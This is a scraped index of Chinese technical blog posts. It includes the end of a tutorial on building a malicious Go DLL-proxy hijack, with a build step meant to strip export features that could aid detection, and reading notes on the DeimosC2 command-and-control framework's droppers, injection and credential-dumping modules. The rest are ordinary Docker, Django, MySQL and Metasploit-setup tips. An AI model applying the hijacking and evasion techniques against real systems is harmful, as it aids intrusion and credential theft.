params.lpReserved); free(lpParam); return 0; } ...c源码文件 */ import \u0026#34;C\u0026#34; import ( \u0026#34;unsafe\u0026#34; \u0026#34;syscall\u0026#34; ) // MessageBox of Win32 API. func MessageBox(hwnd uintptr, caption, title string, flags uint) int { ret, _, _ := syscall.NewLazyDLL(\u0026#34;user32.dll\u0026#34;).NewProc(\u0026#34;MessageBoxW\u0026#34;).Call( uintptr(hwnd), uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))), uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))), uintptr(flags)) return int(ret) } ...go 源码文件 第二种方案 或者你也可以给 .c 写一个头文件 .h，然后在 .go 中导入这个头文件，在 go build 的时候 Go 编译器会默认找到该目录下的 .c、.h、.go 一起编译。\n比如你可以创建一个 .h 文件\n1 2 3 4 5 6 7 8 9 #include \u0026lt;windows.h\u0026gt; void OnProcessAttach(HINSTANCE, DWORD, LPVOID); BOOL WINAPI DllMain( HINSTANCE _hinstDLL, // handle to DLL module DWORD _fdwReason, // reason for calling function LPVOID _lpReserved // reserved ); 然后在 .go 中引用它\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package main /* #include \u0026#34;dllmain.h\u0026#34; */ import \u0026#34;C\u0026#34; import ( \u0026#34;unsafe\u0026#34; \u0026#34;syscall\u0026#34; ) // MessageBox of Win32 API. func MessageBox(hwnd uintptr, caption, title string, flags uint) int { ret, _, _ := syscall.NewLazyDLL(\u0026#34;user32.dll\u0026#34;).NewProc(\u0026#34;MessageBoxW\u0026#34;).Call( uintptr(hwnd), uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))), uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))), uintptr(flags)) return int(ret) } 然后就可以一起编译了。\n导出表的问题 确实，现在我们可以编译出恶意的转发dll了，但是我们可能会发现导出表里面其实有很多奇奇怪怪的导出函数\n这些导出函数可能会成为某些特征\n我们的原始dll并没有这些导出函数，但是生成的转发dll这么多奇怪的导出函数该怎么去掉？\n我们可以同样可以使用上文的 exp 文件来解决，它就是一个导出库文件，来定义有哪些导出的。\n根据上文的方法我们使用 dlltool 从 def 文件生成一个 exp 文件，然后编译时加入链接即可。\n1 go build -buildmode=c-shared -o add.dll -ldflags=\u0026#34;-extldflags=-Wl,/home/lab/Repo/go-dll-proxy/dllmain/functions.exp -s -w\u0026#34; ldflags 里面的新增的 -s -w 只是为了减小一点体积去除一下符号，可选。\n最后的最后 仓库相关示例已经上传至 github.com/akkuman/go-dll-evil\n感兴趣的可以查看。\n参考资料 [1] PE知识复习之PE的导出表 [2] DLL Proxying [3] /EXPORT (Exports a Function) [4] Windows Privilege Escalation - DLL Proxying [5] DLL Hijacking using DLL Proxying technique [6] DLL之def和exp文件作用 [7] mingw环境中使用dlltool工具来生成动态库的步骤 [8] Specifying the DEF file when compiling a DLL with Clang [9] issues - cmd/link: support msvc object files [10] gcc Options for Linking [11] RUSTGO: CALLING RUST FROM GO WITH NEAR-ZERO OVERHEAD [12] Go Execution Modes [13] go tool link [14] DllMain entry point [15] DllMain简介和DLL编写说明 [16] Call Go function from C function [17] github.com/NaniteFactory/dllmain [18] How to implement DllMain entry point in Go ","permalink":"https://www.hacktech.cn/post/2021/07/golang-evil-dll-proxy/","summary":"\u003cp\u003e本文章将讲解如何使用恶意的 Golang 来实现 dll 劫持转发\u003c/p\u003e","title":"golang实现dll恶意劫持转发"},{"content":"花了点时间阅读了一下 https://github.com/DeimosC2/DeimosC2 项目的源代码，本文是一个简要的阅读笔记\n项目结构 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 . | build_frontend.bat | build_frontend.sh | requirements.txt | serial | +---agents | +---doh | | doh_agent.go DNSOverHTTP agent代码 | +---https | | https_agent.go HTTPS agent | +---quic | | quic_agent.go QUIC agent | +---resources agent基础功能 | | +---agentfunctions | | | functions.go | | +---domainhiding | | | esni_DoH.go | | +---filebrowser | | | filebrowser_linux.go | | | filebrowser_mac.go | | | filebrowser_windows.go | | +---fingerprint | | | fingerprint_linux.go | | | fingerprint_mac.go | | | fingerprint_windows.go | | +---selfdestruction | | | kill_linux.go | | | kill_macos.go | | | kill_windows.go | | +---shellexec | | | exec_both.go | | | exec_windows.go | | \\---shellinject | | shellcode_linux.go | | shellcode_macos.go | | shellcode_windows.go | \\---tcp | tcp_agent.go +---archives +---c2 C2 server主程序 | | main.go 程序入口 | | requirements.txt | +---agents | | | agent_handler.go agent相关基础方法 | | \\---techniques 一些其他技术相关实现 | | \\---httpstechniques | | domainhiding.go | | normal.go | +---gobfuscate gobfuscate开源项目抽取[golang混淆]，可使用garble | | const_to_var.go | | gobfuscate.go | | gopath_copy.go | | hash.go | | LICENSE | | pkg_names.go | | README.md | | strings.go | | symbols.go | | util.go | +---lib | | | listener_handler.go 监听器相关基础方法 | | +---archive | | | archive.go 数据备份相关 | | +---certs | | | gen_cert.go 证书生成 | | +---gobuild | | | compile.go 对生成的go代码进行编译，生成agent客户端 | | +---sqldb | | | sql.go 服务端数据库相关 | | \\---validation | | validation.go 服务端前后端数据验证 | +---listeners 服务端监听器相关实现 | | common.go | | dns.go | | https.go | | quic.go | | tcp.go | +---loot 战利品相关操作 | | loot.go | +---modules 模块加载相关 | | module_handler.go | | reflectivedll.go | +---webserver 服务端前后端交互相关 | | | dashboard.go | | | webserver.go | | +---googauth | | | googauth.go | | +---mfa | | | mfa.go | | \\---websockets | | alerts.go | \\---webshells | webshell_handler.go +---docs | CHANGELOG.md +---droppers | +---Linux | | +---Bash | | | ondisk_dropper_tcp.sh | | +---Perl | | | ondisk_dropper_tcp.pl | | \\---python | | ondisk_dropper_tcp.py | +---Templates | | tcp.template | \\---Windows | | dropper_options.json | +---binary | | \\---golang | | dropper.go | +---Perl | | ondisk_dropper_tcp.pl | +---PowerShell | | ondisk_dropper_tcp.ps1 | \\---python | ondisk_dropper_tcp.py +---lib | +---agentscommon | | agents.go | +---crypto | | aes.go | | rsa.go | +---logging | | log.go | +---modulescommon | | common.go | +---privileges | | isadmin_linux.go | | isadmin_macos.go | | isadmin_windows.go | \\---utils | utils.go +---modules 一些的额外模块 | +---collection | | \\---screengrab | | +---agents | | | +---bin | | | \\---src | | | screengrab.c | | | screengrab.go | | \\---server | | +---bin | | \\---src | | screengrab.go | +---credentialaccess | | +---lsadump | | | +---agents | | | | +---bin | | | | \\---src | | | | lsadump.go | | | \\---server | | | +---bin | | | \\---src | | | lsadump.go | | +---minidump | | | +---agents | | | | +---bin | | | | \\---src | | | | minidump.c | | | | minidump.go | | | \\---server | | | +---bin | | | \\---src | | | lsassparse.py | | | minidump.go | | +---ntdsdump | | | +---agents | | | | +---bin | | | | \\---src | | | | ntdsdump.go | | | \\---server | | | +---bin | | | \\---src | | | ntdsdump.go | | +---samdump | | | +---agents | | | | +---bin | | | | \\---src | | | | samdump.go | | | \\---server | | | +---bin | | | \\---src | | | lsaparse.py | | | samdump.go | | | samparse.py | | \\---shadowdump | | +---agents | | | +---bin | | | \\---src | | | shadowdump.go | | \\---server | | +---bin | | \\---src | | shadowdump.go | +---discovery | | empty.txt | +---dlls | | c2.c | +---exfil | | empty.txt | +---lateral_movement | | empty.txt | +---persistence | | empty.txt | \\---privilege_escalation | empty.txt 程序主体 初始化日志 自定义 GOROOT 和 GOPATH 环境变量 恢复（监听器和webshell）或初始化数据库，自定义或生产证书 预混淆（依赖文件拷贝到GOPATH） 启动插件注册RPC服务 执行定期备份 启动前后端之间的https和websocket接口服务 细节 服务端针对每一个session维护了一个执行命令队列，agent端针对所有任务的输出结果维护了一个队列\nserver和agent之间维护着心跳，由agent主动向server发送心跳，每次心跳时，agent从server对应的任务队列中获取命令拿去执行，同时将自己的命令结果输出返回到server\n需要说一下的是modules文件夹，里面分为服务端和客户端，客户端是投递到agent中执行的，服务端的概念是c2服务器中注册的插件，整个流程大致上为：\n用户下发模块任务 找到对应的模块 启动该模块插件RPC服务并在c2 RPC服务中注册插件 将模块客户端投递到agent进行执行 c2服务器获取到任务结果 将任务结果发送至模块插件RPC服务进行处理并返回处理结果 其中agent端的架构也需要说一下，agent支持两种模块形式：\ndrop: 直接投递二进制可执行程序比如exe到agent进行执行 inject: 投递反射dll至agent的内存中执行 其中drop形式的就是上文中提到的模块插件，c2利用rpc进行与第三方模块之间的通信，第三方模块通过c2的rpc注册自己的插件，c2通过插件的rpc将结果发送至插件进行处理，在agent也有类似的处理，首先agent会启动一个rpc服务，然后接收到c2投递过来的drop exe后，将rpc端口作为命令行参数传递给该exe进行执行，然后drop exe执行过程中会将结果通过传递进来的rpc服务端口进行结果回送\n","permalink":"https://www.hacktech.cn/post/2021/04/deimosc2-source-read/","summary":"\u003cp\u003e花了点时间阅读了一下 \u003ca href=\"https://github.com/DeimosC2/DeimosC2\"\u003ehttps://github.com/DeimosC2/DeimosC2\u003c/a\u003e 项目的源代码，本文是一个简要的阅读笔记\u003c/p\u003e","title":"DeimosC2 源码阅读"},{"content":"有些时候我们 docker build 镜像会出现很多 \u0026lt;none\u0026gt; 的残余 cache image 在我们的系统中。\n可以使用 awk 来完成一行命令删除空的docker images\n1 sudo docker images | awk \u0026#39;{if($1==\u0026#34;\u0026lt;none\u0026gt;\u0026#34;) print $3}\u0026#39; | xargs sudo docker rmi ","permalink":"https://www.hacktech.cn/post/2021/03/one-line-docker-emi-none/","summary":"\u003cp\u003e有些时候我们 docker build 镜像会出现很多 \u003ccode\u003e\u0026lt;none\u0026gt;\u003c/code\u003e 的残余 cache image 在我们的系统中。\u003c/p\u003e","title":"一行命令删除空的docker images"},{"content":"当我们基于ubuntu镜像构建Docker的时候，偶尔会出现 please select the geographic area in which you live. 让我们选择时区\n原因是ubuntu 18.04后没有默认的系统时区，安装tzdata会出现交互式时区设置\n解决方案 Dockerfile 开头加上\n1 2 ARG DEBIAN_FRONTEND=noninteractive ENV TZ=Asia/Shanghai ","permalink":"https://www.hacktech.cn/post/2021/03/docker-build-ubuntu-interactive-tzdata/","summary":"\u003cp\u003e当我们基于ubuntu镜像构建Docker的时候，偶尔会出现 \u003ccode\u003eplease select the geographic area in which you live.\u003c/code\u003e 让我们选择时区\u003c/p\u003e","title":"docker build出现交互式时区设置解决"},{"content":"本文写于 Amass v3.11.2，可能后续有过更多变更，但是应该整体逻辑不会有十分大的变动了\n发展 首先铺垫下在 Amass 用到的两大设计模式：\n发布订阅模式 流水线(pipeline)模式 在 4432dbd 该提交之前，即 v3.11.0 版本前，其实并没有流水线模式，并且采用的是 Golang 来写插件，在此之后，项目负责人 Jeff Foley 对该项目进行了一次大的重构，把他自己写的 eventbus 和 service 全部抽离了出来成为了独立的库，并且引入了他自己实现的 pipeline 库来实现整个子域名收集的流水线作业。同时，原本采用 Golang 编写的数据源插件，通过引入第三方库 gopher-lua 赋予了脚本编写插件的能力，实现了插件系统与主程序的剥离。\n改版前 我这里把项目区分为 v3.11.0 前和后\n在 v3.11.0 之前，整个项目运行，从入口函数进入后，经过简单处理后，开始经过所有的数据源服务插件，其中所有的数据源服务插件都需要实现 services.Service 接口，通过覆写结构体方法来进行调用。\n经过所有的数据源服务插件前，有一个步骤是注册所有的消息订阅者，然后数据源服务插件发现新的子域后，发布消息到事件总线（或者说消息队列）中，然后消息订阅者获取到数据后进行后续处理，比如输出日志，入库，判断是否为泛解析，ip解析等等\n其中的发布订阅模式是一个简易的消息队列实现，这里面有几个概念：\n消息发布 消息订阅处理 消息频道（路由/topic） 首先需要把消息订阅者（处理函数）注册到系统中，采用的是 hash 表，即 golang 中的 map，不同的topic定义为不同的键，处理函数设置为值，然后发布者发布消息到对应的路由，封装好对应的路由和数据后塞进队列，另外有协程一直在从队列中取出元素，根据所得到的路由和数据参数调用不同的处理函数。\n总体是一个树状发散的，即有可能处理的数据会继续发布到总线给其他的处理函数处理。\n这样会导致两个问题：\n因为发布消息的结束标识无法获知，订阅消息的结束标识也是无法获知，整体的树状发散更导致定义任务结束愈发困难 就像上面说的，有些处理函数是有一个处理流程的，比如先给谁处理，再给处理，全部移交到消息总线，再由各自的订阅处理，导致整体的数据流动极为晦涩，如果不通读所有处理函数的源码很难梳理明白处理函数之间的先后关系 针对问题1， Amass 采用的解决方案是使用一个协程来监控dns请求的速率，假如多少秒不活跃（即无新数据），并且每秒 dns 请求小于几个，即判断为结束，这个方案只能说是一个相对好用的解决手段，因为架构的问题导致本身就很难以去判断结束\n针对问题2，可能开发者想让整个项目的数据流动更清晰一些，所以采用了 pipeline模式，然后使用扇入扇出加快整个处理流程\n改版后 设置了一条消息总线，其中定义了两个路由：newname（子域名）和newaddr（ip地址），其他的路由比如日志我们暂时不用关心，这两个路由所对接的是数据源服务插件（包含小部分golang插件，大部分lua插件），通过数据源来产生新子域，发布到总线中，然后这两个路由所注册的订阅处理函数的功能是把数据重定向到 pipeline 的起点，pipeline的数据处理通过预先设置好的几个阶段，每个阶段可以根据个人的需求控制并发数\n其中总线的所有的新数据会进入source，然后后面的stage都是可以动态扩容的，最后数据经过一个一个阶段的处理，最后到达sink。\n通过 pipeline，把整个流程清晰化了起来。\n一点猜想 目前还保有 golang 的插件，但是目前看起来 golang 的插件是可以用 lua 去实现的，所以目前来看应该是还没有迁移完毕。\n目前所使用的 pipeline 库也是 Amass 项目负责人 Jeff Foley 写的，其中大致上有这么几个功能：\n入口处理 出口处理 阶段处理 固定协程数量的协程池（单一任务） 动态协程数量并可设置上限的协程池（单一任务） 单管道（单一任务） 广播（多任务，不等待该阶段所有任务完成，有任务完成即进入下一阶段） 平行（多任务，等待该阶段所有任务完成再进入下一阶段） 目前来看的话，广播和平行都没有都没有用到，其实比较困惑的一点是，整个流水线模式是可以应对子域名收集的，但是目前还是保留有总线的概念，猜测可能后面会使用广播或平行对数据源的插件进行执行，因为每个插件可以看作一个 Task，恰好是满足他自己的设计的\n","permalink":"https://www.hacktech.cn/post/2021/02/amass-source-code-read-arch-desc/","summary":"\u003cp\u003e本文写于 \u003ca href=\"https://github.com/OWASP/Amass/tree/v3.11.2\"\u003eAmass v3.11.2\u003c/a\u003e，可能后续有过更多变更，但是应该整体逻辑不会有十分大的变动了\u003c/p\u003e","title":"Amass项目源码阅读(整体架构)"},{"content":"这篇文章主要记录golang qt使用中的自定义Object怎么编写以及singal使用\nwk.go 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 package wk import ( \u0026#34;fmt\u0026#34; \u0026#34;sync\u0026#34; \u0026#34;github.com/therecipe/qt/core\u0026#34; \u0026#34;github.com/therecipe/qt/gui\u0026#34; \u0026#34;github.com/therecipe/qt/network\u0026#34; \u0026#34;github.com/therecipe/qt/webkit\u0026#34; ) // ScreenshotConfig screenshot config type ScreenshotConfig struct { ID string URL string Width int Height int Quality int Format string UA string } // ScreenshotObject qt object type ScreenshotObject struct { core.QObject _ func(config ScreenshotConfig) `signal:\u0026#34;startScreenshot,auto\u0026#34;` _ func(id string, data []byte) `signal:\u0026#34;finishScreenshot,auto\u0026#34;` Map sync.Map } // StartScreenshot start screenshot slots func (s *ScreenshotObject) startScreenshot(config ScreenshotConfig) { s.GetScreenshot(config) } // FinishScreenshot finish screenshot slots and store data to map func (s *ScreenshotObject) finishScreenshot(id string, data []byte) { s.Map.Store(id, data) } // GetScreenshot get a snapshot for website func (s *ScreenshotObject) GetScreenshot(config ScreenshotConfig) { ... page.MainFrame().Load(qURL) page.ConnectLoadFinished(func(bool) { ... s.FinishScreenshot(config.ID, data) fmt.Println(data) }) } main.go 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 package main import ( \u0026#34;os\u0026#34; \u0026#34;github.com/akkuman/webkit-screenshot/wk\u0026#34; \u0026#34;github.com/therecipe/qt/widgets\u0026#34; ) func main() { os.Setenv(\u0026#34;QT_QPA_PLATFORM\u0026#34;, \u0026#34;offscreen\u0026#34;) app := widgets.NewQApplication(len(os.Args), os.Args) screenshotObj := wk.NewScreenshotObject(nil) go screenshot(screenshotObj, \u0026#34;https://www.baidu.com\u0026#34;) app.Exec() } func screenshot(obj *wk.ScreenshotObject, url string) { config := wk.ScreenshotConfig{ ID: \u0026#34;xxxx\u0026#34;, URL: url, Width: 1920, Height: 1080, Quality: 50, Format: \u0026#34;jpg\u0026#34;, UA: \u0026#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A\u0026#34;, } obj.StartScreenshot(config) } 看到上面两段代码截取，golang qt里面使用 Connect[singalName] 连接 singal，在struct tag中加上auto代表可以把该结构体方法同名的方法自动Connect上去。\n这里需要注意一点，auto 的方法名不要首字母大写，会与 qtmoc 自动生成的有冲突。\n该程序的目的是需要在外部通过 goroutine 调用组件进行一系列方法。\n这里需要十分注意的一点是，qt 组件必须在 qt 程序主消息循环中创建，不能在 goroutine 中创建，否则样例中的 page.ConnectLoadFinished 将不会被执行。\n拿这个例子来说，就是 screenshotObj := wk.NewScreenshotObject(nil) 必须在主线程中，而不能用 goroutine 执行。\n","permalink":"https://www.hacktech.cn/post/2020/12/golang-qt-custom-object-trap/","summary":"\u003cp\u003e这篇文章主要记录golang qt使用中的自定义Object怎么编写以及singal使用\u003c/p\u003e","title":"golang qt中的自定义Object"},{"content":"我们知道在Drone中激活gitea仓库后会在该仓库下生成一个webhook，但是当我们推送时却无事发生，测试推送时出现错误\n1 Delivery: Post \u0026#34;http://ci.test.com/hook?secret=zMIxs0On0e7FOpgt6RImNrlgD6Bu4OQr\u0026#34;: read tcp 172.27.0.3:56812-\u0026gt;10.20.156.4:80: i/o timeout 该错误有两种原因\n超时过短 Drone无法访问到该仓库的 .drone.yml 文件 针对第一种问题，一般是给 gitea 增加 DELIVER_TIMEOUT 即可\n针对第二个问题，可能分为两种几种情况\n仓库中没有这个文件，这个直接在仓库中创建一个即可 仓库中有这个文件但是访问不到，可能是你的 nginx 设置了策略，以 . 开头的文件无法访问 解决方案： 删除掉 nginx 配置中类似于下面的策略\n1 2 3 location ~ /\\.(?!well-known) { deny all; } 该策略的作用是当用户访问以 . 开头的文件则返回403\n","permalink":"https://www.hacktech.cn/post/2020/12/gitea-drone-webhook-error/","summary":"\u003cp\u003e我们知道在Drone中激活gitea仓库后会在该仓库下生成一个webhook，但是当我们推送时却无事发生，测试推送时出现错误\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDelivery: Post \u0026#34;http://ci.test.com/hook?secret=zMIxs0On0e7FOpgt6RImNrlgD6Bu4OQr\u0026#34;: read tcp 172.27.0.3:56812-\u0026gt;10.20.156.4:80: i/o timeout\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e","title":"gitea drone webhook触发失败"},{"content":"Django 在使用 Channels 3 时，使用 Daphne 或者 Uvicorn 启动会出现 AppRegistryNotReady 错误\n这个主要的原因是在项目启动前未初始化，我尝试自行解决了一下\n如果你的 asgi.py 是如下形式\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 \u0026#34;\u0026#34;\u0026#34; ASGI config for homados project. It exposes the ASGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/3.1/howto/deployment/asgi/ \u0026#34;\u0026#34;\u0026#34; import os from channels.routing import ProtocolTypeRouter from django.core.asgi import get_asgi_application from homados.middleware.wsmw import QueryXTokenAuthMiddleware from channels.routing import ProtocolTypeRouter, URLRouter import apps.duplex.routing import apps.synergy.routing os.environ.setdefault(\u0026#39;DJANGO_SETTINGS_MODULE\u0026#39;, \u0026#39;homados.settings.dev_micro\u0026#39;) application = ProtocolTypeRouter({ \u0026#34;http\u0026#34;: get_asgi_application(), # Just HTTP for now. (We can add other protocols later.) \u0026#39;websocket\u0026#39;: QueryXTokenAuthMiddleware( URLRouter( apps.duplex.routing.websocket_urlpatterns + apps.synergy.routing.websocket_urlpatterns ) ), }) 那么应该是会报另外一个错误，在项目设置 DJANGO_SETTINGS_MODULE 前调用settings，这个错误只需要把设置环境变量前提即可\n但是前提后还是会有 AppRegistryNotReady 的错误，这个错误查询了一下，这个Issue 已经提出了解决方案，原因是因为django还未初始化时调用了channels路由注册，可以通过下面形式的代码来解决\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 \u0026#34;\u0026#34;\u0026#34; ASGI config for homados project. It exposes the ASGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/3.1/howto/deployment/asgi/ \u0026#34;\u0026#34;\u0026#34; import os from channels.routing import ProtocolTypeRouter from django.core.asgi import get_asgi_application from channels.routing import ProtocolTypeRouter, URLRouter os.environ.setdefault(\u0026#39;DJANGO_SETTINGS_MODULE\u0026#39;, \u0026#39;homados.settings.dev_micro\u0026#39;) django_asgi_app = get_asgi_application() from homados.middleware.wsmw import QueryXTokenAuthMiddleware import apps.duplex.routing import apps.synergy.routing application = ProtocolTypeRouter({ \u0026#34;http\u0026#34;: django_asgi_app, # Just HTTP for now. (We can add other protocols later.) \u0026#39;websocket\u0026#39;: QueryXTokenAuthMiddleware( URLRouter( # msf 执行结果推送 apps.duplex.routing.websocket_urlpatterns + # 聊天室 apps.synergy.routing.websocket_urlpatterns ) ), }) ","permalink":"https://www.hacktech.cn/post/2020/12/channels-daphne-uvicorn-error/","summary":"\u003cp\u003eDjango 在使用 Channels 3 时，使用 Daphne 或者 Uvicorn 启动会出现 AppRegistryNotReady 错误\u003c/p\u003e\n\u003cp\u003e这个主要的原因是在项目启动前未初始化，我尝试自行解决了一下\u003c/p\u003e","title":"Channels 3 Daphne Uvicorn Error AppRegistryNotReady"},{"content":"表现为按照官方文档 https://dev.mysql.com/doc/refman/8.0/en/resetting-permissions.html 中的说明 B.3.3.2.3 Resetting the Root Password: Generic Instructions 无法成功更改\n执行 ALTER USER \u0026lsquo;root\u0026rsquo;@\u0026rsquo;localhost\u0026rsquo; IDENTIFIED BY \u0026lsquo;MyNewPass\u0026rsquo;; 还是不能成功更改\n进入mysql docker 发现使用 mysql -u root -p 就能登录，但是使用 mysql -h 127.0.0.1 -P 3306 -u root -p 不能登录，怀疑是本地登录和网络登录配置不同。\n你可以先看看mysql的user表\n1 mysql\u0026gt; select host,user,authentication_string from mysql.user; host: 允许用户登录的ip，%表示可以远程，localhost表示本机；\nuser:当前数据库的用户名；\n我这里是需要远程登录的密码改掉，所以执行 ALTER USER \u0026lsquo;root\u0026rsquo;@\u0026rsquo;%\u0026rsquo; IDENTIFIED BY \u0026lsquo;MyNewPass\u0026rsquo;; 即可\n","permalink":"https://www.hacktech.cn/post/2020/11/mysql8-update-password-failed/","summary":"\u003cp\u003e表现为按照官方文档 \u003ca href=\"https://dev.mysql.com/doc/refman/8.0/en/resetting-permissions.html\"\u003ehttps://dev.mysql.com/doc/refman/8.0/en/resetting-permissions.html\u003c/a\u003e 中的说明 \u003cstrong\u003eB.3.3.2.3 Resetting the Root Password: Generic Instructions\u003c/strong\u003e 无法成功更改\u003c/p\u003e","title":"mysql8更新密码不成功"},{"content":"比如使用burp，设置代理后，就算把 不代理的地址列表 中的全部去掉，如果流量是到本机，依旧无法代理\n解决方案：\n不代理的地址列表中加上 \u0026lt;-loopback\u0026gt;\n来源：\nhttps://bugs.chromium.org/p/chromium/issues/detail?id=899126#c17\n","permalink":"https://www.hacktech.cn/post/2020/10/chrome-switchyomega-cannot-proxy-local-machine/","summary":"\u003cp\u003e比如使用burp，设置代理后，就算把 不代理的地址列表 中的全部去掉，如果流量是到本机，依旧无法代理\u003c/p\u003e","title":"chrome SwitchyOmega 无法代理本机"},{"content":"metasploit不能使用外部的pgsql数据库搞得一直很蛋疼，这篇小记只是记录下如何一步步让metasploit使用外部的pgsql，本篇文章中使用pgsql的docker\n安装ruby 此处使用 rbenv 安装 ruby\n克隆rbenv仓库\n1 git clone --depth=1 https://github.com/rbenv/rbenv.git ~/.rbenv 编译bash扩展加速rbenv，可选\n1 cd ~/.rbenv \u0026amp;\u0026amp; src/configure \u0026amp;\u0026amp; make -C src 把rbenv加到环境变量\n1 2 echo \u0026#39;export PATH=\u0026#34;$HOME/.rbenv/bin:$PATH\u0026#34;\u0026#39; \u0026gt;\u0026gt; ~/.bashrc source ~/.bashrc rbenv设置\n1 rbenv init # 跟随命令的输出设置rbenv shell 安装ruby-build插件，为了支持rbenv install 命令\n1 git clone https://github.com/rbenv/ruby-build.git \u0026#34;$(rbenv root)\u0026#34;/plugins/ruby-build 如果是国内用户，可以加上rbenv cache镜像\n1 git clone https://github.com/andorchen/rbenv-china-mirror.git \u0026#34;$(rbenv root)\u0026#34;/plugins/rbenv-china-mirror 查看 metasploit 官方开发使用版本，https://github.com/rapid7/metasploit-framework/blob/master/.ruby-version\n我这里看到的是 2.6.6，就安装这个版本\n1 2 rbenv install 2.6.6 rbenv local 2.6.6 如果你是国内用户，可以设置一些镜像\n1 gem sources --add https://gems.ruby-china.com/ --remove https://rubygems.org/ 安装bundler并设置镜像\n1 2 3 gem install bundler bundle config mirror.https://rubygems.org https://gems.ruby-china.com 安装 metasploit 详细可参见 https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment\n我们已经安装了ruby，紧接着安装依赖\n1 sudo apt update \u0026amp;\u0026amp; sudo apt install -y git autoconf build-essential libpcap-dev libpq-dev zlib1g-dev libsqlite3-dev 克隆 metasploit\n1 git clone --depth=1 https://github.com/rapid7/metasploit-framework.git 安装metasploit运行所需的ruby库\n1 cd metasploit-framework \u0026amp;\u0026amp; bundler install 至此，metasplot 已经可以使用\n1 ./msfconsole 如果进入了 msf console 证明已经正确安装，并且运行后会在你的创建一个 ~/.msf4 文件夹，这个我们后面会用到\n设置metasploit使用外部数据库 启动pgsql 首先启动一个postgresql docker\n参见 https://hub.docker.com/_/postgres\n这里我直接使用官方提供的命令\n1 2 3 4 5 6 docker run -d -p 5432:5432\\ --name some-postgres \\ -e POSTGRES_PASSWORD=mysecretpassword \\ -e PGDATA=/var/lib/postgresql/data/pgdata \\ -v /custom/mount:/var/lib/postgresql/data \\ postgres 或者你可以使用 docker-compose，但是记得改掉密码和挂载目录\n然后我们创建两个数据库 msf 和 msftest，具体怎么创建这里不展开，可以使用数据库管理工具\n配置 msf 数据库连接 在 ~/.msf4 文件夹下面创建一个文件 database.yml，即 ~/.msf4/database.yml\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 development: \u0026amp;pgsql adapter: postgresql database: msf username: postgres password: mysecretpassword host: 127.0.0.1 port: 5432 pool: 200 production: \u0026amp;production \u0026lt;\u0026lt;: *pgsql test: \u0026lt;\u0026lt;: *pgsql database: msftest ","permalink":"https://www.hacktech.cn/post/2020/09/msf-use-external-db/","summary":"\u003cp\u003emetasploit不能使用外部的pgsql数据库搞得一直很蛋疼，这篇小记只是记录下如何一步步让metasploit使用外部的pgsql，本篇文章中使用pgsql的docker\u003c/p\u003e","title":"metasploit使用外部数据库（TODO）"},{"content":"感觉可能是需要对 connect_session 改动一下\n后面有时间验证一下\nlib/msf/ui/web/driver.rb\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 